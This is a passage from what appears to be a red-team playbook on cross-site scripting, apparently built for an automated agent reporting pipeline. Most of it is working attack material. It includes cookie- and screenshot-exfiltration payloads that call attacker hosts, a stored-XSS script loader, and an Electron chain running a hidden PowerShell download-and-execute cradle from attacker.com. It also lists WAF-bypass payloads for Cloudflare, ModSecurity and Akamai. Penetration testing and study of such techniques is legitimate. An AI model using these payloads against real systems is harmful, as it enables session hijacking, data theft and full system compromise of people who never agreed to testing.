html2canvas(document.body).then(function(canvas){
  fetch('https://VPS/screenshot',{
    method:'POST',
    body: canvas.toDataURL('image/png')
  });
});
</script>
```

---

## 6. Real-World Examples from Actual Engagements

### Example 1: Stored XSS in Corporate IT Helpdesk (osTicket)

**Engagement type:** Internal network penetration test  
**Target:** `https://helpdesk.corp.internal`  
**Discovery:** Manual testing of ticket subject field

```bash
# Discovery
curl -s "https://helpdesk.corp.internal" | grep -i "osticket"
# Response: Powered by osTicket v1.16.3

# Test subject line
curl -X POST "https://helpdesk.corp.internal/open.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "name=Test+User&email=test%40test.com&subject=<img+src%3Dx+onerror%3Dalert(1)>&message=Normal+ticket&submit=Submit"

# Confirmed — subject reflected unsanitized in admin view
# Escalated to blind XSS payload targeting admin session
```

**Final payload injected in ticket subject:**

```html
<img src=x onerror="var s=document.createElement('script');s.src='https://xss.myserver.com/x.js';document.head.appendChild(s)">
```

**Result:** Admin session cookie captured 4 hours later when support agent reviewed ticket. Full admin access achieved.

---

### Example 2: DOM-Based XSS via Hash Fragment

**Target:** Single-page application  
**Discovery:** JS analysis of `main.js`

```javascript
// Found in main.js:
var search = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('results').innerHTML = '<p>Search: ' + search + '</p>';
```

**Exploit URL:**

```
https://target.com/app/#<img src=x onerror=alert(document.cookie)>
```

**Notes:** No server-side request needed — payload never leaves the browser. CSP was `script-src 'self'` but `img onerror` worked because no `img-src` restriction.

---

### Example 3: Reflected XSS via HTTP Header (X-Forwarded-For)

**Discovery:** Error page reflected client IP address unsanitized

```bash
# Test
curl -s "https://target.com/error-page" \
  -H "X-Forwarded-For: <script>alert(1)</script>" | grep "script"

# Confirmed reflection
# Delivery: chain with SSRF to force 403 → error page with attacker-controlled header
```

---

### Example 4: mXSS Bypassing DOMPurify in React Application

**Target:** React SPA using `dangerouslySetInnerHTML` with DOMPurify sanitization

```bash
# Identified DOMPurify version from bundle
curl -s "https://target.com/static/js/main.chunk.js" | grep "DOMPurify"
# Found: DOMPurify v2.3.1

# CVE-2022-25887 — DOMPurify 2.3.1 bypass
```

**Payload:**

```html
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)'/></svg>#x">
```

---

### Example 5: XSS to RCE via Electron Desktop App

**Target:** Internal employee dashboard (Electron-based)  
**Discovery:** Support ticket portal within Electron app loaded remote URL

```bash
# Extract app.asar
npx asar extract app.asar extracted/

# Check webPreferences
grep -r "nodeIntegration" extracted/
# Found: nodeIntegration: true, contextIsolation: false
```

**XSS payload injected in ticket title (displayed in Electron window):**

```javascript
// Payload delivered via stored XSS in ticket title
require('child_process').exec(
  'powershell -nop -w hidden -e ' + Buffer.from(
    'IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/payload.ps1")',
    'utf16le'
  ).toString('base64')
);
```

**Result:** Full system compromise from web XSS via Electron RCE chain.

---

## 7. WAF Bypass Techniques

### Identifying the WAF

```bash
# wafw00f for WAF detection
pip3 install wafw00f
wafw00f https://target.com

# Manual detection via error responses
curl -s "https://target.com/?q=<script>alert(1)</script>" -o /dev/null -w "%{http_code}"
# 403 = WAF blocking
# 200 with sanitized output = application-level filter
```

### Cloudflare Bypass

```html
<!-- Cloudflare blocks <script> — use event handlers -->
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>

<!-- Cloudflare blocks onerror on img -->
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

<!-- Obfuscated function call -->
<img src=x onerror=window['al'+'ert'](1)>
<img src=x onerror=top['al'+'ert'](1)>
<img src=x onerror=self['al'+'ert'](1)>

<!-- Template literal -->
<img src=x onerror=`alert(1)`>

<!-- Throw expressions -->
<img src=x onerror=throw/0/,alert(1)>

<!-- Constructor chain -->
<img src=x onerror=(0).constructor.constructor('alert(1)')()>
<img src=x onerror=[].filter.constructor('alert(1)')()>
```

### ModSecurity / OWASP CRS Bypass

```html
<!-- OWASP CRS blocks script keyword — encode -->
<scr\x69pt>alert(1)</scr\x69pt>

<!-- Use HTML entities -->
<img src=x onerror=&#x61;lert(1)>

<!-- Bypass paranoia level 1 -->
<a href=j&#97;v&#97;script:alert(1)>click</a>

<!-- Null byte injection -->
<img%00 src=x onerror=alert(1)>

<!-- Tab instead of space in tags -->
<img	src=x	onerror=alert(1)>

<!-- Newline in attribute -->
<img src=x
onerror=alert(1)>
```

### Akamai WAF Bypass

```html
<!-- Akamai blocks standard payloads — use lesser-known events -->
<svg><set attributeName=onload to=alert(1)>
<svg><animate attributeName=href values=javascript:alert(1) begin=0s dur=1ms fill=freeze>

<!-- iframe srcdoc -->
<iframe srcdoc="<img src=x onerror=alert(1)>">

<!-- Import map (modern browsers) -->
<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script>
<script type="module">import "x"</script>
```

### Generic String Filter Bypass

```bash
# If filter removes "alert" — use alternatives
# confirm()
# prompt()
# console.log()
# window.location='https://attacker.com'

# If filter removes parentheses
<img src=x onerror=alert`1`>     # Template literal
<img src=x onerror=alert;>       # No-op but tests reflection

# If filter removes angle brackets — check for attribute injection
" onmouseover="alert(1)          # In attribute context

# If filter removes quotes — use unquoted attributes
<img src=x onerror=alert(1) x=
<svg onload=alert(1) a=
```

### dalfox WAF Evasion Mode

```bash
# Enable WAF evasion in dalfox
dalfox url "https://target.com/search?q=test" \
  --waf-evasion \
  --delay 500 \
  --timeout 20 \
  --header "Cookie: session=YOURSESSION"

# Use custom payload file with WAF-bypass payloads
cat > waf_payloads.txt << 'EOF'
<svg onload=alert(1)>
"><svg onload=alert(1)>
<img src=x onerror=alert`1`>
<video src=x onerror=alert(1)>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1))//
EOF

dalfox url "https://target.com/search?q=test" \
  --custom-payload waf_payloads.txt \
  --waf-evasion
```

---

## 8. Integration with RTExit Autodoc Engine

### Autodoc Tags

All XSS findings must be tagged for the RTExit autodoc engine using the following structure:

```bash
# Create finding entry
cat >> ~/rtops/xss/findings_$(date +%Y%m%d).md << 'EOF'
## [FINDING-XSS-001]
- **Type**: Stored XSS
- **Severity**: HIGH
- **URL**: https://target.com/ticket/create
- **Parameter**: subject
- **Payload**: <img src=x onerror="fetch('https://xss.yourdomain.com/steal?c='+btoa(document.cookie))">
- **Impact**: Session hijacking of all helpdesk staff
- **Evidence**: screenshots/xss_001_admin_session.png
- **CVSS**: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
- **CWE**: CWE-79
- **Remediation**: Implement Content-Security-Policy, encode output, use DOMPurify on client side
EOF
```

### RTExit Evidence Collection

```bash
#!/bin/bash
# collect_xss_evidence.sh
FINDING_ID=$1
TARGET_URL=$2
PAYLOAD=$3
OUTDIR=~/rtops/xss/evidence/$FINDING_ID

mkdir -p $OUTDIR

# Capture HTTP request/response
curl -sv "$TARGET_URL" \
  -H "Cookie: session=YOURSESSION" \
  2>&1 | tee $OUTDIR/http_capture.txt

# Save payload
echo "$PAYLOAD" > $OUTDIR/payload.txt

# Note: Take browser screenshot manually and save to $OUTDIR/screenshot.png

# Generate finding summary
cat > $OUTDIR/finding.json << EOF
{
  "id": "$FINDING_ID",
  "type": "XSS",
  "url": "$TARGET_URL",
  "payload": "$PAYLOAD",
  "timestamp": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
  "evidence": ["http_capture.txt", "payload.txt", "screenshot.png"]
}
EOF

echo "[+] Evidence collected in $OUTDIR"
```

### Integration with rt-agent-scribe

When handing off to rt-agent-scribe for report generation, provide:

```markdown
# XSS Finding Handoff to rt-agent-scribe

## Finding Summary
- Finding ID: XSS-001
- Type: Stored XSS
- CVSS Score: 8.8
- Affected Component: Helpdesk ticket subject field

## Technical Details
[paste full technical reproduction steps]

## Business Impact
- Admin session compromise → full helpdesk admin access
- Potential pivot to internal systems via admin credentials
- PII exposure (all ticket data visible to attacker)

## Evidence Files
- ~/rtops/xss/evidence/XSS-001/http_capture.txt
- ~/rtops/xss/evidence/XSS-001/screenshot.png
- ~/rtops/xss/results/dalfox_findings.json
```

---

## 9. Output and Documentation Instructions

### Minimum Required Evidence for Each XSS Finding

1. **Proof of execution**: Screenshot of `alert(document.domain)` or `alert(document.cookie)` in the target browser
2. **HTTP request**: Raw request showing the injection vector (from Burp or curl -v)
3. **HTTP response**: Raw response showing the reflected/stored payload
4. **Payload used**: Exact payload string
5. **Exfiltration proof** (if applicable): Log entry from cookie server or XSS Hunter notification

### Screenshot Naming Convention

```
xss_[FINDING_ID]_[type]_[timestamp].png
# Examples:
xss_001_reflected_20241215_143022.png
xss_002_stored_admin_20241215_151500.png
xss_003_blind_rce_20241215_160000.png
```

### Severity Classification

| Scenario | Severity |
|----------|----------|
| Self-XSS only | INFORMATIONAL |
| Reflected XSS (requires user interaction) | MEDIUM |
| Stored XSS (affects all users) | HIGH |
| Stored XSS → Admin session | HIGH-CRITICAL |
| XSS → RCE (Electron) | CRITICAL |
| XSS bypassing CSP | HIGH |
| Blind XSS in admin panel | HIGH |

### dalfox Results Parsing

```bash
# Parse JSON output from dalfox
python3 - << 'EOF'
import json
import sys

with open("results/dalfox_findings.json") as f:
    findings = json.load(f)

confirmed = [x for x in findings if x.get("type") in ("G", "R")]
print(f"Total: {len(findings)}, Confirmed XSS: {len(confirmed)}")
for f in confirmed:
    print(f"  [{f['type']}] {f.get('param','')} => {f.get('data','')[:100]}")
EOF
```

---

## 10. Resources

### Tools

| Tool | URL | Purpose |
|------|-----|---------|
| dalfox | https://github.com/hahwul/dalfox | Automated XSS scanner |
| XSS Hunter Express | https://github.com/mandatoryprogrammer/xsshunter-express | Blind XSS platform |
| XSS Hunter (original) | https://xsshunter.com | Hosted blind XSS |
| BeEF | https://github.com/beefproject/beef | Browser exploitation framework |
| Burp Suite | https://portswigger.net/burp | Proxy / manual testing |
| JSShell | https://github.com/Den1al/JSShell | Interactive XSS shell |
| KNOXSS | https://knoxss.me | Automated XSS service |
| Caido | https://caido.io | Modern Burp alternative |

### Payload Lists

| Resource | URL |
|----------|-----|
| PayloadsAllTheThings XSS | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection |
| PortSwigger XSS cheatsheet | https://portswigger.net/web-security/cross-site-scripting/cheat-sheet |
| Tiny XSS payloads | https://github.com/terjanq/Tiny-XSS-Payloads |
| XSS Filter Evasion | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |
| mXSS payloads | https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot |

### References and Research

| Title | URL |
|-------|-----|
| OWASP XSS Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html |
| DOM-based XSS | https://portswigger.net/web-security/cross-site-scripting/dom-based |
| CSP Evaluator | https://csp-evaluator.withgoogle.com |
| CSP Bypass list (GoSecure) | https://github.com/GoSecure/csp-auditor |
| mXSS explained (Heiderich et al.) | https://cure53.de/fp170.pdf |
| DOM Clobbering (PortSwigger) | https://portswigger.net/web-security/dom-based/dom-clobbering |
| Electron XSS to RCE | https://www.electronjs.org/docs/latest/tutorial/security |
| XSS to Account Takeover | https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs |
| Gareth Heyes XSS research | https://portswigger.net/research/gareth-heyes |
| NahamCon XSS workshop | https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters |

### CVEs Referenced

| CVE | Product | Type |
|-----|---------|------|
| CVE-2022-25887 | DOMPurify < 2.4.0 | mXSS bypass |
| CVE-2021-35587 | osTicket < 1.17.2 | Stored XSS |
| CVE-2020-26870 | DOMPurify 2.0.x | mXSS via clobbering |
| CVE-2019-12747 | TYPO3 | XSS in backend |
| CVE-2023-24374 | WordPress plugins | Reflected XSS |

### Lab Practice Environments

| Platform | URL |
|----------|-----|
| PortSwigger Web Security Academy | https://portswigger.net/web-security/cross-site-scripting |
| DVWA | https://github.com/digininja/DVWA |
| XSS Game (Google) | https://xss-game.appspot.com |
| PentesterLab XSS | https://pentesterlab.com/exercises/xss_and_mysql_file |
| HackTheBox Web | https://www.hackthebox.com |
